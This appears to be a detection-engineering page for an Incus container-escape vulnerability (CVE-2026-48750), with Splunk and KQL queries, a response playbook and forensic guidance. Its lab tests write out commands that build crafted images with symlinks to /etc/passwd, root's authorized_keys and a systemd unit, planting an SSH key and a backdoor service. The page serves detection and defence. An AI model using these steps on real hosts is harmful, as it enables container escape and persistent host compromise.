Detect Incus exec-output Symlink Arbitrary File Write on Host (CVE-2026-48750) in Splunk
CVE-2026-48750 is a critical arbitrary file write vulnerability (CVSS 9.9) in Incus container/VM manager (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. A crafted container image can place a symlink at the exec-output path, causing incusd to write attacker-controlled content to arbitrary locations on the host filesystem. This enables container escape leading to full host compromise. A public PoC is available.
MITRE ATT&CK
SPL Detection Query
index=linux_os OR index=endpoint sourcetype IN ("linux:audit", "syslog", "auditd", "osquery:results")
| eval is_incus_parent = if(match(parent_process, "incusd|incus"), 1, 0)
| eval sensitive_path = if(match(file_path, "^/(etc|root|var/spool/cron|usr/local/bin|lib/systemd|home/[^/]+/\.ssh)"), 1, 0)
| eval exec_output_ref = if(match(command, "exec.output|exec_output"), 1, 0)
| eval symlink_activity = if(match(syscall, "symlink|symlinkat|lstat"), 1, 0)
| where (is_incus_parent=1 AND sensitive_path=1) OR (is_incus_parent=1 AND exec_output_ref=1) OR (symlink_activity=1 AND exec_output_ref=1)
| eval threat_label = "CVE-2026-48750 Incus exec-output symlink host file write"
| table _time, host, user, parent_process, process, command, file_path, syscall, threat_label
| sort - _timeDetects incusd spawning processes that write to sensitive host paths or reference exec-output, and symlink syscalls associated with exec-output paths indicative of CVE-2026-48750 exploitation.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Legitimate container management tasks by incusd writing to monitored paths during authorized operations
- Security scanning tools running under incusd context examining system directories
- Automated CI/CD pipelines using incus that touch system paths as part of sanctioned test runs
Other platforms for CVE-2026-48750
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Create malicious symlink in exec-output path within container image
Expected signal: Auditd symlink syscall from process tree rooted at incusd; file write event to /etc/passwd path originating from incusd child process
- Test 2Detect symlink traversal via exec-output to /root/.ssh/authorized_keys
Expected signal: File write syscall to /root/.ssh/authorized_keys with incusd ancestor in process tree; auditd type=PATH record for authorized_keys
- Test 3Simulate exec-output symlink to systemd service unit for persistence
Expected signal: File creation event under /lib/systemd/system/ with incusd ancestor; subsequent systemd daemon-reload or service enable events
Response Playbook
Triage
- Identify the incusd version on the affected host: run `incus version` or check the installed package version to confirm it is below 7.2.0 and thus vulnerable.
- Examine host filesystem for unexpected files or modified files in sensitive paths (/etc, /root, /var/spool/cron, /usr/local/bin, /lib/systemd, ~/.ssh) with timestamps near the alert time using `find / -newer <timestamp_file> -ls 2>/dev/null`.
- Review incusd logs at /var/log/incus/ and journalctl -u incus for exec-output references, image import events, or unusual container launch sequences around the alert timeframe.
- Enumerate currently running and recently stopped containers using `incus list --all` and correlate with the alerting process tree to identify which container or image triggered the event.
Containment
- Immediately stop the incusd service (`systemctl stop incus`) and quarantine any container images received from untrusted external sources until patching is complete.
- Apply the vendor patch by upgrading incusd to version 7.2.0 or later, then restart the service and re-audit all images loaded since the vulnerability disclosure date (2026-06-26).
Evidence Collection
- Capture a snapshot of all files modified in sensitive directories since the alert timestamp: `find /etc /root /var/spool/cron /usr/local/bin /lib/systemd /home -newer /tmp/baseline_ts -type f -ls` and hash them with sha256sum.
- Collect incusd process logs, container image manifests, and exec-output directory contents: `tar czf /tmp/incus_evidence_$(date +%s).tar.gz /var/log/incus /run/incus /var/lib/incus/images 2>/dev/null`.
Escalation Criteria
- !Escalate immediately if any files were successfully written to /etc/passwd, /etc/sudoers, /root/.ssh/authorized_keys, or systemd service unit directories, as these indicate likely persistent host compromise.
- !Escalate if the container image origin is external or untrusted (e.g., pulled from a public registry or provided by a third party), as the PoC is public and active exploitation is plausible.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Symlinks in the incus exec-output directory (typically under /run/incus or /var/lib/incus) pointing to sensitive host paths - >
Modified or newly created files in /etc, /root/.ssh, /var/spool/cron, or systemd unit directories with ownership matching the incusd process user - >
Container image tarballs containing crafted exec-output symlinks — recoverable from /var/lib/incus/images or import cache - >
Auditd records (type=SYSCALL) for symlink, symlinkat, open, or write syscalls originating from incusd PID
Tuning Guidance
Start with a higher-severity threshold by requiring both a sensitive path write AND an exec-output command line reference to reduce false positives from routine incus administration. Baseline legitimate incusd-spawned file write paths in your environment and exclude them. If incus is not deployed in your environment, this rule can be promoted to high confidence or disabled accordingly. On environments with active incus usage, correlate with image import events to prioritize alerts following third-party image ingestion.
Hunting Queries
Hunt for all symlink and file write syscalls originating from incusd or incus processes to identify scope of potential exploitation across the environment.
DeviceFileEvents
| where InitiatingProcessParentFileName has_any ("incusd", "incus")
| where ActionType in ("FileCreated", "FileModified", "SymlinkCreated")
| summarize count() by FolderPath, FileName, InitiatingProcessCommandLine
| where FolderPath matches regex @"/(etc|root|var/spool/cron|usr/local/bin|lib/systemd|home)"
| order by count_ descindex=linux_os sourcetype=auditd type=SYSCALL
| where syscall IN ("symlink", "symlinkat", "link", "linkat", "open", "openat") AND exe LIKE "%incus%"
| stats count BY host, exe, key, a0, a1
| sort - countAtomic Red Team Tests
Simulates an attacker crafting a container image that places a symlink at the exec-output location pointing to /etc/passwd on the host, triggering CVE-2026-48750 on incusd < 7.2.0.
Command
# Lab only — requires vulnerable incusd < 7.2.0
mkdir -p /tmp/atomic_incus_test/rootfs/exec-output
ln -s /etc/passwd /tmp/atomic_incus_test/rootfs/exec-output/output
tar czf /tmp/malicious_image.tar.gz -C /tmp/atomic_incus_test .
echo 'Image created at /tmp/malicious_image.tar.gz — import with: incus image import /tmp/malicious_image.tar.gz --alias atomic-test'Cleanup
rm -f /tmp/malicious_image.tar.gz; rm -rf /tmp/atomic_incus_test; incus image delete atomic-test 2>/dev/null || trueExpected Telemetry
Auditd symlink syscall from process tree rooted at incusd; file write event to /etc/passwd path originating from incusd child process
Expected Detection
Alert fires on FileCreated/FileModified event to /etc/passwd with parent process incusd in KQL and SPL queries
Tests whether detection fires when incusd writes attacker content to /root/.ssh/authorized_keys via a symlink in a crafted image's exec-output directory.
Command
# Lab only
mkdir -p /tmp/atomic_ssh_test/rootfs/exec-output
ln -s /root/.ssh/authorized_keys /tmp/atomic_ssh_test/rootfs/exec-output/output
echo 'ssh-rsa AAAA...ATOMIC_TEST_KEY attacker@lab' > /tmp/atomic_ssh_test/rootfs/exec-output/content
tar czf /tmp/ssh_backdoor_image.tar.gz -C /tmp/atomic_ssh_test .
echo 'Import and launch with vulnerable incusd to trigger write'Cleanup
rm -f /tmp/ssh_backdoor_image.tar.gz; rm -rf /tmp/atomic_ssh_testExpected Telemetry
File write syscall to /root/.ssh/authorized_keys with incusd ancestor in process tree; auditd type=PATH record for authorized_keys
Expected Detection
Alert on sensitive path write (/home/*/.ssh/ or /root/.ssh/) by incusd child process across all SIEM queries
Validates detection of attacker writing a malicious systemd service unit to /lib/systemd/system/ via incusd exec-output symlink, enabling persistent code execution on the host.
Command
# Lab only
mkdir -p /tmp/atomic_systemd_test/rootfs/exec-output
ln -s /lib/systemd/system/atomic-backdoor.service /tmp/atomic_systemd_test/rootfs/exec-output/output
printf '[Unit]\nDescription=Atomic Test Backdoor\n[Service]\nExecStart=/bin/bash -c "id > /tmp/atomic_pwned"\n[Install]\nWantedBy=multi-user.target\n' > /tmp/atomic_systemd_test/rootfs/exec-output/content
tar czf /tmp/systemd_persist_image.tar.gz -C /tmp/atomic_systemd_test .
echo 'Import with vulnerable incusd to test persistence vector'Cleanup
rm -f /tmp/systemd_persist_image.tar.gz /tmp/atomic_pwned; rm -rf /tmp/atomic_systemd_test; systemctl disable atomic-backdoor 2>/dev/null; rm -f /lib/systemd/system/atomic-backdoor.service 2>/dev/nullExpected Telemetry
File creation event under /lib/systemd/system/ with incusd ancestor; subsequent systemd daemon-reload or service enable events
Expected Detection
Alert on FileCreated in /lib/systemd/* path with incusd parent across KQL, SPL, Elastic EQL, and Chronicle YARA-L rules